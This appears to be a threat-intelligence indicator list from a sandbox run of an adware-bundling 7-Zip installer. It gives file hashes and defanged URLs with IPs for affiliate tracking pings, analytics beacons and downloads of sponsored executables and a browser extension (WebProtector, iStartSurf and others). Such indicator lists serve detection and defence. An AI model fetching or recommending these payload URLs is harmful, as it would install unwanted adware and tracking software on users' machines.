13df569a80b0b685ba250ad7617fe738
a16c30b5aa236dc78beea2d35406b2b7
b3fa5976434ce1e51a1bd370e2aefd3c
7f9d59c48734f851495f71f0c539537b
22754d84b6a8863fdb8bcc5c56c849cb

URLs

URL IP
hxxp://installer.betterinstaller.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d3i779maf1zmkk.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.230.202.110
hxxp://dreejadsuld8c.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.201.26
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d3i779maf1zmkk.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html 54.230.202.110
hxxp://d3i779maf1zmkk.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.230.202.110
hxxp://d3i779maf1zmkk.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html 54.230.202.110
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=171427984&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Installer_Init&utmht=1430385726787&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1773454494&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://mirror.frogdownload.com/software_files/7_zip/7zip_32.png
hxxp://d3zcfo8zs4s5u.cloudfront.net/mirror/webprotectorplus/WebProtectPD.exe 54.192.200.232
hxxp://d3ffn9rvm681fx.cloudfront.net/sponsored/webprotectorplus/eula-webprotectorplus.html 54.230.203.188
hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe 208.43.230.100
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.200.32
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.6919453698335451
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.2095572798928257
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.5830329402833516
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.35253391287601243
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&display_height=80&0.25359863263178783
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&0.803185817508443
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.8669246227254628
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&0.19872140701700747
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=2053866364&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385784525&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.9427898179249654
hxxp://stat.webprotectionfree.com/pin.gif?e=download&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadsuc&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=start&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=5.1.0.45 37.58.109.2
hxxp://track.madagascardomain.com/pin.gif?e=updinst&s=9813&i={3D38404C-DF40-4DAA-A4FF-6CF94BA6576C}" 208.43.248.42
hxxp://stat.webprotectionfree.com/pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=0&v=9.10.9200.16521&b=ie&ai=wppapp1.06&os=6.1x64&osv=7601 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=installer&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=5.1.0.45 37.58.109.2
hxxp://stat.webprotectionfree.com/c/SetupComponents.exe 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadend&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13&ec=0 37.58.109.2
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.6749842160988707
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en 69.28.58.55
hxxp://d3i779maf1zmkk.cloudfront.net/infv5/index/3428/bnd 54.230.202.110
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=531905859&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385802796&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.06411901323134278
hxxp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak 54.230.200.207
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2 69.28.58.55
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F 184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds 69.28.58.55
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com/ 173.194.113.212
hxxp://lb.webovernet.com/settings?s=9813&ins=1&ver=1.00 173.45.105.114
hxxp://www.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ 173.194.113.207
hxxp://stat.webprotectionfree.com/pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=1&v=29.0.1&b=ff&os=6.1x64&osv=7601&ai={42c2ce50-98bd-87f8-6695-f76e817ccf5a}&[email protected] 37.58.109.2
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish 69.28.58.55
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/3rd 54.230.202.110
hxxp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak 54.230.200.207
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ClearnC 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.RegWrite 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/MAS_WIN7X64ADA2_adm_0FEBFBFF000306C3?action=smt.chromesyn.exist 69.28.58.55
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=4&utmn=1272220941&utmhn=bi.bisrv.com&utme=8(sp_slug)9(istartsurf)&utmhid=870522207&utmr=-&utmp=Install_Complete&utmht=1430385826630&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt 69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt 69.28.58.55
hxxp://installer.betterinstaller.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d3ffn9rvm681fx.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.203.188
hxxp://d3ffn9rvm681fx.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.230.203.188
hxxp://d3ffn9rvm681fx.cloudfront.net/affiliates/filesfrog/eula.html 54.230.203.188
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=985526196&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Installer_Init&utmht=1430385828956&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=2006071221&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://dreejadsuld8c.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html 54.230.201.26
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2253 69.28.58.55
hxxp://d3zcfo8zs4s5u.cloudfront.net/mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe 54.192.200.232
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.22835313965265952
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.07590714561381573
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.8645311506713083
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.8954149863764207
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5176325757353702
hxxp://a1726.d.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3edf2f97043fdfac
hxxp://a1726.d.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2e09881611fb8c0f
hxxp://e10088.dspb.akamaiedge.net/pki/mscorp/msintcrca.crt
hxxp://a1726.d.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6a9849fe3111a2a3
hxxp://a1726.d.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?91d4d4c01591c64a
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAANwFAj/+8EUwCY4AAQAA3AU=
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&0.3723478397918981
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&display_height=195&0.3646367504845442
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&0.030520581165039695
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=467482209&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385883684&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.44469108518846095
hxxp://stat.webprotectionfree.com/pin.gif?e=download&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadsuc&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 37.58.109.2
hxxp://www.theviilage.com/windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv= 208.43.69.149
hxxp://stat.webprotectionfree.com/pin.gif?e=start&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&adv=&v=5.1.0.45 37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=4 37.58.109.2
hxxp://stat.webprotectionfree.com/c/LiveUpdateWPP_is.exe 37.58.109.2
hxxp://track.madagascardomain.com/pin.gif?e=updinst&s=9813&i={E7875669-BB28-462E-BE68-71C7238AA8F4}&overs=9813&overi={3D38404C-DF40-4DAA-A4FF-6CF94BA6576C}" 208.43.248.42
hxxp://stat.webprotectionfree.com/node/?s=9813&br=2 37.58.109.2
hxxp://stat.webprotectionfree.com/a/9813.xpi 37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=5 37.58.109.2
hxxp://stat.webprotectionfree.com/c/SetupWPP.exe 37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=3 37.58.109.2
hxxp://stat.webprotectionfree.com/c/webprotector_chrome 37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=1 37.58.109.2
hxxp://stat.webprotectionfree.com/c/webprotector_installer.exe 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=installer&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&adv=&v=5.1.0.45 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadend&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13&ec=0 37.58.109.2
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.29883133237549697
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=918851154&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385892361&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.18562550075796524
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=aUlNCxxkjnSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZNvI cCpfDt3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/install.ashx?e=043Mckb8LngyWo2RxjjNijDg90yhWAZuJgZdxYA/ajToUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsNiYrnbXcJYFPMXncQenCC3JF1S42 BeaImPFRYkh3egX v6FJSWjmLUVyGRiJmmWG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMnG8k4nQ9jWi94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBQH07zjNFHyg= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=c2mW1WEUbCGQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLNaoPZj94HyTT3FsALGJiApIj GXdVcREtCUHeR8YCF3xzZQYVq/ZZusvNkHARych5LYVlLaQ3XGR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=9OTdpoOUy6inb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMakct/zwjCNOBgmzg0f NNyBsa06lteb2QHWCwuhcIPNnQlB3kfGAhdwUPDCGDH0tL4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NYPpbX8eNZzIIUAvnawhe3hU72ISjKawWsoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NY0jd2Ua9SYWgE8SFHLIEPsD LD4ni i1YdBJZ5riIcvtUE1GQHZQfQHQBxTzK/bEJeNU2AyMdjD2r9Dmom8z1Bdz0MKRim67MuTCPyUuZt4XfFDEx7p39heZkF1/HCKmEvlcum0nVhgFW1jOB/tj8S4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= 198.232.124.192
